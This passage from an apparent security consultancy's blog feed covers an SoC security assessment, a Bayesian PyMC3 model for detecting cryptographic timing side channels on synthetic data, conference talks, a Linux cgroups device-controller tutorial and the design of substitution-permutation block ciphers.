Manipulation of the RTC and timers
Manipulation of the real-time application from the Cortex-A53

Based on this initial analysis, we created a test plan for each of the following security mechanisms:

HSM and Arm TrustZone integration
Memory protection and process(or) isolation (MMU, DMA)
Cryptographic algorithms, interfaces and Random Number Generation
Integration of RTC and timers
Debugging interface protection features (e.g. JTAG, UART)
Communication interface protection over bus matrix (USB, I2C, SPI, CAN etc.)
Secure Boot and Boot ROM protection
Hardening of option byte settings and OTP settings
Overall security configuration

The security assessment was conducted in a gray-box approach where TeleChips provided us with basic information about the SoC (e.g. datasheets, user manual and technical design documents). This information is typically available to developers using the platform. In addition, an example for the HSM API was provided. Source code for internals like the HSM and Boot-ROM, was not available. As typical for such gray-box assessments, some further limitations occurred. For instance, it was neither possible to access the TrustZone applications nor the OP-TEE TrustZone OS. Access to the internal components was limited to the user world on the Cortex-A53.

The test setup consisted of two development boards provided by TeleChips (see following figure).

Setup with development board

These boards run an Android operating system on the main core A53 (an unrooted Android 10 OS) and a demonstration application on the real-time core R5. The interface for the HSM was made available via a kernel driver and an example application. The boards further provide various interfaces and access to the JTAG interface, as well as the debugging ports for the Cortex-R5 and Cortex-A53 via RS232 interfaces.

All analysis tasks were performed in our dedicated embedded security lab at the SCHUTZWERK headquarter in Ulm. The security lab is equipped with a comprehensive set of tools and devices to conduct also very low-level security assessments of embedded device. Attack vectors range from reading out flash storage over connecting to low-level debugging interfaces to remounting components to individually designed boards and launching side-channel attacks, such as power glitching or power analysis.

Based on the defined test plan, we performed several analysis steps of which some will briefly be discussed in the following:

Analysis of the Secure Boot Process

The secure boot process ensures the initial integrity for all applications running on the SoC. In order to assess the security of the boot process, we typically analyze the different boot stages for verification steps of the trust chain and dedicated signature verification procedures. For instance, we check if the root key for verifying the initial bootloader is stored in a tamper-proof storage, e.g., OTP storage, and that a manipulation of software and data at the different boot stages leads to a failure of the boot process. We also try to identify exceptions for applications or components of the SoC which have been excluded from the secure boot process.

There are often different boot modes available, which could have individual configurations for a secure boot process. Typical vulnerabilities could result from boot modes that do not perform a secure boot process and can be activated without authorization. If such insecure boot modes exist, we check if they are effectively deactivated, e.g., by respective OTP settings.

The Boot-ROM typically contains the first instructions executed by the main processor during the boot and thus represents the root of trust for the secure boot chain. The code is often treated as intellectual property and as such should be protected against readout. During our assessment, different possible attack vectors to extract the Boot-ROM content have been tested. For instance, we tested access from the Cortex-A53 cores or from the U-Boot bootloader console. However, read requests always resulted in a reboot of the whole system showing that the implemented memory read barriers or similar security measures are activated.

Analysis of the TrustZone

For the TCC803x series chips, the TrustZone implementation and inclusion is based on the standard ARM TrustZone architecture. For this architecture, we verify that the secure bit can not be set by the user world. If this is handled correctly, the security of the TrustZone primarily depends on the secure boot process to ensure only a signed TrustZone OS can be executed. In this case, the OP-TEE is loaded and the OP-TEE only executes correctly signed TrustZone applications. We typically try to modify the OP-TEE and to load a custom application in the TrustZone which is signed with the default key from the OP-TEE repositories.

If the standard ARM TrustZone architecture is correctly implemented, attacks on the TrustZone require an exploit of the running OP-TEE, a TrustZone application, or the possibility to bypass or deactivate the secure boot process for the OP-TEE. Respective vulnerabilities in this area were not discovered in the time scope of the assessment.

Analysis of Memory Protection

To prevent access to sensitive information and safety-critical components, several security measures like memory bus address filters and DMA controllers are implemented in the TCC803x SoC. In gray-box assessments without full access to all components of a SoC, available testing methods are very limited.

In our case, we were able to execute memory access tests from the Cortex-A53 via the U-Boot console running with exception level EL2 in the normal world (i.e., the NS bit is set to 1) and by dumping larger memory areas with a custom U-Boot standalone application written in C.

Especially, access to memory sections related to cryptographic components and persistent storage containing key material were tested. Unauthorized access to such ares could allow an adversary to attack the secure boot chain by extracting keys for firmware signing and encryption or by manipulating the persistent memory containing code that is executed during the secure boot process.

Memory access from the Cortex-R5 perspective was tested with an attached JTAG debugger as no custom code could be loaded into this core via the normal flash process. In this setup, the USB boot mode was selected and the provided fwdn firmware loader flashed. The debugger was then used to issue memory access commands on behalf of the Cortex-R5.

Analysis of Cryptographic Routines

If a SoC has an integrated crypto engine, we typically assess the cryptographic strength of underlying routines. For instance, we assess the entropy of the random number generator and the vulnerability of encryption methods to timing attacks in order to gain knowledge about secret keys or respective plaintext. We present an example from another project in this area in a different blog post .

Results

TeleChips puts a lot of effort in the integration of robust security mechanisms in its SoC architectures. This is reflected by our results which show that the achieved security level of the TCC803x SoC family is quite good. Nevertheless, our rigorous testing identified some vulnerabilities and opportunities of improvement in the SoCs security. The affected areas were the secure boot process, the AES cryptographic operation of the HSM, and the JTAG interface for the R5. Several of these issues were already closed by TeleChips during the assessment. This highlights the well established and fast responsive security management of TeleChips, and also emphasizes the benefit of conducting such assessments even for solutions with already mature security concepts.

Conclusion

Security assessments of complex embedded systems, especially in a gray-box approach, are challenging to plan and conduct. By leverage the experienced embedded security team of SCHUTZWERK, TeleChips was able to identify relevant vulnerabilities and areas for improvement in the already mature security concept of their SoC. Extensive and reproducible documentation provided by SCHUTZWERK, in combination with the well-established security management processes of TeleChips, allowed for swift mitigation of identified vulnerabilities, leading to an overall improved security of TeleChips products.

Finally, we would like to thank TeleChips for their great support and open collaboration during this project. We further appreciate the chance to share some insights of the project’s results. This highlights that TeleChips understands the process of security management as an iterative one which also requires an open discussion about common issues and pitfalls to make future products more secure.

References

Title Image by Nic Wood/Pexels

Statistical Modelling of Timing Sidechannels

Dr. Henning Kopp — Thu, 02 Dec 2021 09:14:16 +0200

In this blog post we present a Bayesian statistical model to detect cryptographic timing attacks. This model is one of the results of a customer embedded hardware assessment performed by the SCHUTZWERK GmbH. The assessment was performed in a gray box context, i.e., we were able to interact with the encryption hardware, but were not given any internal implementation details.

Background

In timing attacks on cryptographic systems, the goal is to establish a side channel via timings. This means, that not the in- and outputs of the cryptographic system are under attack, but rather some seemingly harmless information, in this case the running time of the algorithm. Based on multiple measurements of the running time the key or other secrets may be leaked.

As a simple example, consider an encryption function where the duration of the encryption operation depends on the number of zero bits in the key. While the encryption may be secure, if access is given only to the resulting pairs of plaintext and ciphertext, the additional measurement of the duration of the encryption operation decreases the key space significantly. Consequently, the key is significantly easier to recover by an attacker who has additional knowledge about the running time of the encryption.

The same attack can be applied when the duration of the encryption operation depends on the content of the plain text instead of the key. Another variation targets the decryption instead of the encryption function. Of course, this attack can also be generalized to signatures or other cryptographic primitives.

In summary, the goal of a timing attack is to distinguish between two (or more) secret states by measuring the duration of the operations handling the secrets.

Excursion: How timing attacks occur

It is surprisingly hard to implement a cryptographic algorithm in such a way that it is not vulnerable to timing attacks. The running time of the code needs to be independent of the secret inputs, i.e. of constant duration. This is in contrast to the usual requirement of optimization that is prevalent in other domains. As an example, if two strings are compared for equivalence, optimized code compares the two strings – character by character – and stops as soon as a difference is found. However, in this case the running time directly corresponds to the first difference of the strings. Thus, by measuring the duration of the string comparison algorithm, the length of the common prefix can be inferred.

A good overview of tricks used for converting common functions into functions running in constant time can be found in this compilation .

In the following paragraphs, we present two real-life timing attacks in AES and RSA implementations to watch out for.

AES

Consider the case of AES encryption. One step in the AES algorithm is an S-Box lookup. Naively, this is a table lookup, where the index is secret. However, when implemented as a lookup table, the implementation is vulnerable to timing attacks. Looking up entries closer to the start of the table takes less time than looking up latter entries. As the index of the table is considered secret, the running time can leak secret inputs. For a more detailed exposition see Cache-timing attacks on AES by Bernstein.

RSA

As another example, consider RSA signatures. In RSA, $m^e$ needs to be computed where $m$ is the message and $e$ is the secret key of the sender. If $e$ is “small” computing $m^e$ is fast. Whereas, if $e$ is “large” the exponentiation takes longer. If a square and multiply algorithm is used for the exponentiation, the amount of squaring operations corresponds to the amount of one bits in the binary representation of $e$.

Implementing a timing distinguisher

When transferring a timing attack from academic theory to practical assessments, there are some challenges. Remember that the goal of a timing attack is to distinguish between two (or more) secret states by measuring the duration of the operations. If only a single time measurement is taken for each state that should be distinguished, the durations are different. However, this does not mean that a timing attack is possible. Single measurements suffer from multiple sources of noise, e.g., the communication between the hardware chips is not of in constant duration. Consequently, multiple measurements can be created and the deviations can be filtered out, e.g., by averaging. However, averaging does not take into account the distribution of the noise. And the averages of the measurements of both setups still differ. The more measurements are taken, the more certainty there is in the result. But how many measurements are sufficient?

As a solution to this challenge, we implemented a Bayesian distinguisher that returns the certainty that the implementation suffers from a timing attack. Our distinguisher takes two lists of timings as an input and returns the probability that these lists are sampled from the same distribution.

A similar solution can be accomplished by the Kolmogorov-Smirnov (KS) test. However, while the KS test makes fewer assumptions on the distributions than our test, it only returns a qualitative statement, i.e., whether the samples are from the same distribution or not, without considering probabilities. The result of the KS test is a p-value which is often misunderstood. Additionally, it does not allow any introspection into the data model. In contrast, our implementation returns the probability for the samples stemming from the same distribution and therefore the certainty of the vulnerability to a timing attack.

Generation of test data

As we cannot disclose the real data of the assessment due to a non-disclosure agreement we artificially generate test data in order to present our approach. Let us assume that we measure the duration needed for the encryption operation. First, we measure the durations required for encryption with a key key1 5000 times. Next, we measure the duration of the same encryption with a different key key2 5000 times. The durations are samples from a Gaussian distribution with a mean of 500 and 505 respectively, and standard deviations of 100, each.

from scipy import stats
import numpy as np
key1_durations = stats.distributions.norm(loc=500, scale=100.0).rvs(size=5000)
key2_durations = stats.distributions.norm(loc=505, scale=100.0).rvs(size=5000)

import seaborn as sns
sns.distplot(key1_durations, kde=True,
color = 'darkblue',
kde_kws={'linewidth': 3})

Gaussian distribution with a mean of 500.

sns.distplot(key2_durations, kde=True,
color = 'darkblue',
kde_kws={'linewidth': 3})

Gaussian distribution with a mean of 505.

Bayesian Data Model

For our Bayesian analysis a data model needs to be specified first. Assumptions about the measured data and their distributions need to be created based on the use case. In a next step, the parameters of the data are inferred.

In our data model, the means of both distributions that are compared are chosen from a Gaussian distribution. Note that we are cheating here. As we sampled the test data from a Gaussian distribution, we already know that such a distribution will fit. Nevertheless, a Gaussian distribution makes sense in our use case independent of our knowledge about the test data. There are multiple sources of noise which affect our measurement. Thus, due to the central limit theorem, this results in a Gaussian distribution given a “large enough” number of noise sources.

More accurately, we assume that the measured durations are distributed with mean $\mu$ and standard deviation $\sigma$. As these parameters are unknown, we treat them as random variables from a prior distribution. The parameters of the prior distribution are then inferred using Bayes' theorem and state-of-the-art Markov Chain Monte Carlo methods. Note that this is in contrast to a frequentist analysis, where only the parameters with, e.g., the highest likelihood, are inferred. In a Bayesian model, such as the one presented here, the parameters are sampled from a distribution distribution themselves.

We choose $\mu$ from the uniform distribution in a sensible range, i.e., between 400 and 600 as we do not have any prior knowledge of the real $\mu$. We choose the deviation $\sigma$ from the Half-Normal distribution with a mean of zero and a standard deviation of 200. Basically, the Half-Normal distribution is the positive side of a normal distribution. This makes sense, as we do not expect $\sigma$ to be particularly large. 200 is just chosen as a high number to fit with our expectations.

Our data model is very similar to the model of Kruschke (Bayesian estimation supersedes the t test. J Exp Psychol Gen. 2013;142(2):573-603. doi:10.1037/a0029146), but easier to work with. Kruschke makes use of a Student’s t-distribution, which is less sensitive to outlier observations than our Gaussian distribution.

Formally our data model looks as follows:

$$ \begin{aligned} \mu &\sim Uniform (400, 600) \\
\sigma &\sim \lvert N(0, 200)\rvert \\
y &\sim N(\mu, \sigma) \\
\end{aligned} $$

Here, $y$ denotes the data. Our Bayesian data model can be visualized using a Kruschke diagram.

Bayesian data model visualized using a Kruschke diagram.

As a next step, the parameters need to be inferred. This is done using a Markov-Chain Monte Carlo algorithm (MCMC). In particular, we are using PyMC3, which implements state-of-the-art MCMC algorithms such as the No-U-turn sampler. This is a variant of the Hamiltonian Monte Carlo algorithm, where the step lengths are determined dynamically. For learning more about MCMC algorithms we recommend starting by learning the Metropolis-Hastings algorithm as that is conceptually the simplest one and the starting point for many of the modern improvements.

Using PyMC3 we compute the posterior distribution of the parameters and visualize them accordingly. More exactly, we can draw samples from the posterior distribution. Given enough samples, it is possible to approximate the distribution. As we are dealing with two sets of measurements, we can compute the difference of the distributions of their means.

import pymc3 as pm
import pandas as pd
with pm.Model() as Model:
μ_1 = pm.Uniform ('μ_1', lower=400, upper=600)
σ_1 = pm.HalfNormal('σ_1', sd=200)
y_1 = pm.Normal('y_1', mu=μ_1, sd=σ_1, observed=key1_durations)
μ_2 = pm.Uniform ('μ_2', lower=400, upper=600)
σ_2 = pm.HalfNormal('σ_2', sd=200)
y_2 = pm.Normal('y_2', mu=μ_2, sd=σ_2, observed=key2_durations)
diff_of_means = pm.Deterministic('diff_of_means', μ_1-μ_2)
diff_of_std = pm.Deterministic('diff_of_std', σ_1-σ_2)
trace = pm.sample(1000)

After sampling from the posterior distribution, convergence needs to be checked. Note that this is about convergence in distribution instead of convergence to a single value. In order to check convergence, the trace is plotted. If the traces are meandering, i.e., the latter samples visually depend on the previous samples, the convergence is not good. Intuitively, if the next samples are heavily correlated with the previous samples, the convergence is not given. However, this only provides an intuitive explanation, as MCMC algorithms always return correlated samples.

import arviz as az
az.plot_trace(trace)

Plotted traces for convergence check.

As we can see, the traces converge, as there are no obvious meandering patterns. Next, we plot the posterior distributions of the means, the standard deviations, and their differences.

az.summary(trace)

	mean	sd	hdi_3%	hdi_97%	mcse_mean	mcse_sd	ess_bulk	ess_tail	r_hat
μ_1	500.152	1.426	497.573	502.843	0.017	0.012	6688.0	3258.0	1.0
σ_1	99.398	1.020	97.369	101.157	0.012	0.009	6765.0	3006.0	1.0
μ_2	505.714	1.434	503.124	508.460	0.017	0.012	7214.0	3384.0	1.0
σ_2	100.631	1.019	98.778	102.627	0.013	0.009	6451.0	3159.0	1.0
diff_of_means	-5.562	2.075	-9.333	-1.557	0.026	0.020	6471.0	2896.0	1.0
diff_of_std	-1.233	1.429	-3.773	1.667	0.018	0.018	6553.0	3022.0	1.0

az.plot_posterior(trace)

Plot of posterior distributions of the means, the standard deviations, and their differences.

The 94% HDI is the 94% highest density interval. This corresponds loosely to confidence intervals. With 94% certainty the real (estimated) value is inside the 94% HDI.

We can see that the HDI of the means $\mu_1$ and $\mu_2$ do not overlap. From the diagram at the bottom center we know that with a certainty of 94%, the difference of the means is between -9.3 and -1.6. As this interval does not contain zero, we can conclude that the data is indicative of a timing attack with more than 94% probability.

Summary

In summary, we provided a statistical approach that allows to detect the susceptibility of a black box cryptographic implementation to timing attacks given several timing measurements. Additionally, our approach does not produce a qualitative statement, but instead a quantitative one, i.e., the certainty of the timing attack is returned depending, e.g., on the amount of performed measurements.

Finally, to prove our claims, we implemented our model utilizing Python and showed its feasibility using generated test data.

References

Title picture: Photo by Tima Miroshnichenko from Pexels .

SCHUTZWERK participated at escar Europe 2021 with two talks

Deborah Kühntopf — Mon, 15 Nov 2021 14:00:00 +0100

The escar is the world’s leading automotive cyber security conference. International speakers from industry, academia and government give recent insights and encourage discussions on several automotive cyber security topics. The program of the escar typically ranges from talks about modern in-vehicle cyber security threats and vulnerabilities to talks about risk mitigation and countermeasures. This year’s escar Europe took place as a hybrid conference in Frankfurt with around 100 online participants and around 100 on-site participants. SCHUTZWERK participated at the escar Europe with two talks:

Challenges in Automotive Penetration Testing

In his talk, Dr. Bastian Könings discussed typical challenges in automotive penetration testing. From his experience with several penetration tests for OEMs and suppliers during the last years, he highlighted common pitfalls, shortcomings and other challenging situations in the planning and execution phases of automotive penetration tests, both from the customer’s and pentester’s perspective. Where possible, he discussed potential solutions or directions for overcoming these challenges in future penetration tests of ECUs and vehicles.

PROBoter - Automating PCB Analysis Tasks to Support Penetration Tests of Embedded Systems

Fabian Weber presented the PROBoter , which is a hardware platform to support penetration tests of embedded systems by automating time-consuming analysis tasks.

Analyzing the security of hardware components is an essential part of penetration tests in the context of embedded systems . Especially in the domain of automotive security and upcoming autonomous vehicles, vulnerabilities of electronic control units (ECUs) may have severe implications and therefore should be identified early in the development process (as also required by new regulations). Typically, the security analysis requires manual probing of pins or other contact pads on the printed circuit boards (PCBs) followed by the attempt to identify signals and respective bus protocols.

To increase the efficiency of this hardware analysis and further reduce error-proneness of manual probing steps, we introduce the PROBoter (PROBing roboter) as a novel open-source and self-calibrating architecture for automated PCB analysis as part of a penetration test . The PROBoter consists of four independently moving probes assisted by a camera for the detection of pins and contact pads, and an oscilloscope for signal measurement. Several algorithms allow the automatic probing of voltages at detected pins and contact pads, and subsequently try to identify existing bus protocols.

All details of the PROBoter contributions can be found in our paper at https:/ / doi.org/ 10.13154/ 294-8348 .

The PROBoter hardware design as well as source code of the automation processes will be published on our Github page .

We are currently working on a demonstration video which will be published in beginning of 2022 as part of the SecForCARs project results . Furthermore, a blog post series will provide further insights.

SCHUTZWERK is NEON sponsor

SCHUTZWERK GmbH — Thu, 17 Jun 2021 13:00:00 +0100

This year, SCHUTZWERK is not only a sponsor of Elbsides , but will also hold a talk on June 22, 2021 at 4:10 p.m. The topic of our colleague Dr. Henning Kopp will be “Padding Oracle Attacks - The critical bug in your home-brewed crypto protocol”.

After a break of more than one year Elbsides is back - this time together with BSides Munich under the joint event name “BSidesMEsh21”. (Virtual) workshops and talks will take place again from June 20 to 22, 2021. You can find the live stream here: https:/ / 2021.elbsides.de/ stream.html

This year, SCHUTZWERK is not only a sponsor of Elbsides, but will also hold a talk on June 22, 2021 at 4:10 p.m. The topic of our colleague Dr. Henning Kopp will be “Padding Oracle Attacks - The critical bug in your home-brewed crypto protocol”.

Padding oracle attacks are a common implementation weakness in encryption algorithms. An information disclosure regarding the padding, e.g., via error mesages or run time differences in the execution of the algorithm can lead to a full decryption.

We are very much looking forward to the event and will be available in the SCHUTZWERK-channel in the BSidesMEsh21-Slack channel for questions and exchange on June 22nd from 1 p.m. to 6 p.m.

Linux Container Primitives: Memory, CPU, Freezer and Device Control Groups

Philipp Schmied — Wed, 19 May 2021 07:56:10 +0100

After discussing the The Network and Block I/O Controllers , this post considers the Memory, CPU, Freezer and Device controllers. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.

An Introduction to Linux Containers
Linux Capabilities
An Introduction to Namespaces
The Mount Namespace and a Description of a Related Information Leak in Docker
The PID and Network Namespaces
The User Namespace
Namespaces Kernel View and Usage in Containerization
An Introduction to Control Groups
The Network and Block I/O Controllers
The Memory, CPU, Freezer and Device Controllers
Control Groups Kernel View and Usage in Containerization

The Memory Controller (v2)

Processes can be accounted and limited regarding their memory usage. The following types of memory usages are currently being tracked [1]:

Consumed memory in user-space
Memory usage in kernel-space, as in kernel data structures
TCP socket buffers

The memory consumed by a control group can be read using the memory.current file. One of the most common ways to limit memory usage includes setting the memory.max value to define an upper memory limit for all processes residing in a control group.

A cgroup is charged for its memory usage when allocating memory. In turn, this accounting gets removed once free() or similar mechanisms to free previously allocated memory are being used. When moving a process that has allocated memory in the name of a control group to another group, the original group is being charged for the allocated memory since these mappings are not being transferred.

The CPU Controller (v1/v2)

Various controllers exist for version 1 and 2 of the control group implementation to manage CPU utilization. There are three controllers for v1:

With cpu a control group is supplied with a guaranteed minimum time of CPU utilization. The cpuset controller allows specifying a set of processors a process is allowed to be executed on. For the current process this can be examined with cat /proc/$$/status | grep Cpus. Changes to this setting propagate to all descendants in the control group hierarchy. Accounting is performed with cpuacct, for example the file cpuacct.usage gives information on the consumed CPU time of all processes in a control group in nanoseconds.

Control group version 2 allows weight and absolute CPU limiting models with the cpu subsystem. In contrast to v1, the newer control group version does not support real-time processes. Therefore, all real-time processes have to be moved to the root control group first before activating the cpu v2 subsystem in the cgroup tree.

The Freezer Controller (v1)

This control group does not limit or account resource usage - it rather allows freezing a process. Freezing a process ultimately stops the execution and suspends it. This allows analyzing the current state of a process with the ability to unfreeze it afterwards and continue the execution without side effects. By creating a checkpoint with the freezer subsystem it’s also possible to move an entire running process, including its children, to another machine or restart a process from a specific state [2].

For this, the virtual file freezer.state exists that can receive either FROZEN or THAWED as input values to freeze and unfreeze a process. This works by walking down the control group hierarchy and marking all descendants of a process with the desired state. Additionally, all processes managed by the affected groups have to be moved in or out of the freezer group, depending on the desired freezing state. Freezing itself is done by sending a signal to the affected processes. Also, the freezer has to follow all child process of the affected processes that may result from calling fork and freeze these as well to prevent freeze escapes [3].

The Devices Controller (v1)

This controller type allows to implement access controls for devices. One can use whitelist and blacklist approaches to only block or allow very specific accesses by defining exceptions. Child control groups are forced to have the exact same or a subset of the exception list of the parent. This results in faster checks whether a rule can be added to the exception list because only the list of the child has to checked and not the whole group tree. This controller is one of the few that makes use of the hierarchical organization in order to pass configuration information to its child groups.

For the the following example, the devices controller will be used to restrict a process from accessing /dev/null.

To limit the usage of devices, their major and minor numbers have to be used. These numbers are the respective identifiers of a device in the filesystem tree. The major number describes the driver that’s required and is used by the kernel in order to access a specific device. The minor number is used by the device driver to distinguish logical and physical devices resulting from the existence of a certain device. In the above example for /dev/null these numbers can be identified using stat -c "major: %t minor: %T" /dev/null which yields the values 1 for major and 3 for minor.

First, a device control group has to be created with cgcreate -g devices:nodevnull with the identifier of the control group being nodevnull. To add the current shell process to this group, the command cgclassify -g devices:nodevnull $$ will be invoked. The process identifier of the current shell process is $$. To finally deny accessing the /dev/null device, this command will be executed: cgset -r devices.deny="c 1:3 rwm" nodevnull. The format of the parameter for devices.deny is as follows:

Format of the parameter for devices.deny

The device type is determined by using the first character of the output of ls -la /dev/null, which shows that it’s a character device.

Now accessing the specific device is being blocked, even for processes running as root user:

root@box:~# echo "a" > /dev/zero # Allowed
root@box:~# echo "a" > /dev/null # Denied
bash: /dev/null: Operation not permitted

Next post in series

The next post in this series ‘ Control Groups Kernel View and Usage in Containerization ' will be published soon.
Follow us on Twitter , LinkedIn , Xing to stay up-to-date.

Credits

Credits: The elaboration and software project associated to this subject are results of a Master’s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.

References

1 - Control Group v2
2 - freezer-subsystem
3 - Control groups, part 3: First steps to control
Title Image

Design of Modern Symmetric Ciphers

Dr. Henning Kopp — Wed, 14 Apr 2021 11:50:36 +0200

The following list shows the topics of all scheduled blog posts of this series. It will be updated with the corresponding links once new posts are being released.

Part 1: Design of Modern Symmetric Ciphers
Part 2: Differential Cryptanalysis of a Single-Round SPN
Part 3: Differential Cryptanalysis of a Multi-Round SPN

Introduction

This first blog post in our series describes the design of symmetric block ciphers. These are encryption algorithms, where the same secret key is used for encryption and decryption.

In the first part of this post, a solid foundation is laid by discussing design requirements for block ciphers. In particular, the notions of confusion and diffusion are discussed. Next, we explain how modern encryption algorithms combine substitutions and permutations in order to achieve these requirements. Our article ends with the introduction of a full substitution permutation network which is used in modern encryption algorithms.

Design Requirements

There are various design requirements for symmetric encryption algorithms. These requirements changed over the years and have been refined in accordance with mankinds growing understanding of encryption.

Most importantly, an encryption algorithm is required to be “secure”. That means that it is not susceptible to attacks under various formalized attacker models. However, in symmetric cryptography, strict mathematical security proofs are hard to find. Instead, the requirements have a flavor of design guidelines. If these guidelines are not followed, then the encryption is probably insecure. However, the converse is not always the case.

Kerckhoffs’s Principle

One of the oldest design requirements for encryption algorithms is Kerckhoffs’s principle, named after Auguste Kerckhoffs. In 1883 he wrote La cryptographie militaire , one of the first formal treatises on military encryption. In this work, Kerckhoffs states with respect to a cryptographic system: “Il faut qu’il n’exige pas le secret, et qu’il puisse sans inconvénient tomber entre les mains de l’ennemi.” (It must not demand secrecy and it should not be a problem if it falls into the hands of the enemy.) This means that the security of an encryption algorithm should only depend on a secret key and not on a secret design.

This design philosophy means that the construction plans of the cipher are published. If the design is publicly available security has to depend only on the key. In cryptography if there are no known attacks such a system is considered more secure than a secret design, as it can be vetted by many professionals. The contrasting concept is called “Security by Obscurity”, i.e., a system is only secure as long as the attacker does not know the internals of the system. Security by obscurity is now considered a bad practice and every serious modern encryption algorithm follows Kerckhoffs’s principle.

Shannons Confusion and Diffusion

However, Kerckhoffs’s principle alone does not imply any statement about necessary statistical properties for the security of an encryption algorithm. Statements on statistical properties have only been present in design requirements from 1945 on. In that year, Shannon’s work A Mathematical Theory of Cryptography coined the notions of confusion and diffusion . Only fully declassified in 2013, this work introduces the application of statistical methods such as entropy in the field of cryptanalysis.

Confusion means that each bit of the ciphertext should depend on several parts of the key. This property obscures the connection between the key and the ciphertext.

Diffusion means that each bit of the ciphertext should depend on several parts of the plaintext. This property obscures the connection between the plaintext and the ciphertext.

More formally, both of these properties are still heavily used in cipher design under the term avalanche criterion . The avalanche criterion says that if a single bit of the key is flipped, then each bit of the ciphertext should flip with probability 1/2. Similarly, if a single bit of plaintext is flipped, then each bit of the ciphertext should flip with probability 1/2.

Building Blocks

Modern symmetric encryption algorithms use mainly two building blocks. The first building block is a substitution, the second is a permutation. In this section these two building blocks are explained in more detail.

Substitution

In a substitution, a symbol of the text is substituted by another symbol.

An example of a cipher that consists only of a substitution is the so-called Caesar cipher named after Julius Caesar. In this cipher, each letter of the alphabet is shifted left or right by a number of letters. As an example, when rotating two letters to the right, the letter “a” is exchanged by “c”, “b” is exchanged by “d”, “c” is exchanged by “e” and so on. The amount of the rotation is the secret key.

Regarding confusion, if the key changes then each of the ciphertext symbols changes. This change is not only with a probability, but is always performed. Regarding diffusion, if a single letter of the plaintext changes then the single corresponding letter in the ciphertext changes as well. The other letters in the ciphertext are not affected.

Even though a single substitution offers practically no security as the key space is small and the frequency of letters symbols is not hidden, it is used as a building block for more complex ciphers. In modern times, this building block is called a substitution box or simply S-box. These are lookup tables that map an input to an output.

Permutation

The second major building block for modern symmetric ciphers are permutations.

The historical predecessor of permutations in cryptography is the so-called skytale . The skytale is a historical device for encrypting messages. It is a cylinder on which a strip of parchment is wrapped around as shwon below. The message is then written on the parchment. When the strip is unwound again, the message cannot be read as the order of the letters has changed. Decryption is performed by wrapping the strip of parchment around a cylinder of equal diameter as the first skytale. Consequently, the diameter of the skytale serves as the secret key for the encryption.

An image of a skytale

Regarding confusion, if the key changes, then the ciphertext symbols stay the same, but their position changes. Regarding diffusion, if a single letter of the plaintext changes then the single corresponding letter in the ciphertext changes.

In our modern age of computers, such a simple permutation offers practically no security. However, as with the substitution, it is used as a building block for more complex encryption algorithms.

Modern Cryptography

Modern symmetric ciphers are not based on letters anymore. Instead, they use blocks of bits as the symbols of their alphabet. In block ciphers, a plaintext of fixed size is mapped to a ciphertext of fixed size using a key. The size of the plaintext and ciphertext blocks is usually fixed in the design of the cipher. For encrypting longer messages consisting of multiple blocks, the encrypted single blocks are chained using a so-called operation mode of the cipher.

Confusion and diffusion is achieved by combining substitution and permutation in a clever way. Further, in contrast to the Caesar cipher and the skytale, the parameters of the permutation and substitution are public. The key is applied separately onto the message by usage of the boolean xor operation.

Combining Substitutions and Permutations

Let us first establish some observations which will lead us closer to the goal of introducing a full substitution permutation network.

Combining multiple substitutions one after the other is the same as applying a single substitution on the plaintext. Substituting the plaintext using an S-box, and then substituting it again using a different S-box can be combined into a single step. In the combined step, a lookup table is created by first looking up the entry in the first S-box and then looking up the result as an entry in the second S-box. This combined lookup table describes the result of applying the two S-boxes sequentially. Consequently, combining multiple substitutions in a series does not increase their complexity.

The same is true for permutations. Intuitively speaking, first applying a permutation and then another permutation is the same as applying a permutation that is the combination of the two permutations. Mathematically, this follows from the fact that permutations form a group – the so-called permutation group – where the group operation is sequential composition of the permutations.

Consequently, applying multiple permutations or multiple substitutions directly in sequence does not increase the security of the encryption algorithm. Instead they need to be applied alternately.

Interleaving Substitutions and Permutations

As we have established in the last paragraph, applying multiple substitutions or multiple permutations directly in sequence does not yield any benefit. However, When the substitutions and permutations are interleaved their operation cannot be replaced by a simpler step. Further, note that substitutions and permutations do not commute, i.e., their order cannot be exchanged. Consequently, we examine the alternate application of substitutions and permutations. More specifically, we use multiple S-boxes for substitution, and use the permutation to spread the outputs of an S-box over the inputs of the next S-boxes. This way, the S-boxes stay small and thus easy to analyze.

The following figure shows a typical notation of such a network consisting of substitutions and permutations.

A schematic diagram showing substitutions and permutations alternatively

The data flow in this figure is from top to bottom. The input to the whole schematic consists of 16 bits; each wire holds a single bit. The S-box is a box where a substitution is applied to four bits each. That means that an input of four bits is substituted by four bits using a table lookup. In this schematic we use the same S-box for all substitutions. There may be cases though, where multiple different S-boxes are used. The part where the wires cross is the permutation. This permutation spreads the bits of the input over multiple parts of the output.

Let us now take a look at the property of diffusion. Recall, that diffusion means that each bit of the output should depend on several parts of the plaintext. If one bit is flipped in the input, say the first one, then the first S-box has a different output. The first permutation spreads the new output of the first S-box over the first, second and third S-box of the next round. Consequently, their outputs change as well. In the next permutation, the changes are spread over all four S-boxes. In summary, by flipping a single bit in the input, every bit of the output is affected.

Regarding the property of confusion, i.e., the relationship between the key and the ciphertext, first the key needs to be defined. As the permutations and substitutions affect the overall properties of the cipher heavily, these are usually kept public and the key is processed separately. If the key would be integrated in the substitutions or the permutations, different keys would offer different security levels. As an example, a key may correspond to the identity substitution, i.e., no substitution at all, and thus offer only marginal security.

Integrating the Secret Key

Let us take a step back and try to integrate the secret key into a simpler network.

If an encryption routine is defined by simply xoring the key onto the plaintext the resulting algorithm is vulnerable. If a single plaintext/ciphertext pair is given to the attacker the key can be recovered. More specifically, the key is the plaintext block xor the ciphertext block.

Consequently, we need to add more components to achieve a secure cipher. As our network above consists of multiple rounds, it seems natural to split the secret key and process each partial key in each round. These partial keys are usually called round keys, as they are used in the different rounds of the encryption algorithm. In modern proposals round keys are not parts of the main key, but are derived using more complex operations.

For our purposes, define the key as consisting of two parts: k0 and k1. These partial keys are used as round keys. Next, we evaluate the two possibilities of creating a more complex cipher: xor k0, permute, xor k1, and xor k0, substitute, xor k1.

xor k0, permute, xor k1

Define an encryption algorithm by xoring the plaintext with k0, then applying a publicly known permutation, and xoring again with k1. The resulting data is the ciphertext. A schematic of these operations can be found below.

Note that all of these operations commute and are not dependent on the plaintext. This sequence of operations can be exchanged by permuting the plaintext first and then xoring by the xor of the permuted k0 and k1. The result is one permutation and only one xor operation with a modified key derived from k0 and k1. Consequently, this combination of operations does not offer more security, as it can be computed using simpler operations.

xor k0, substitute, xor k1

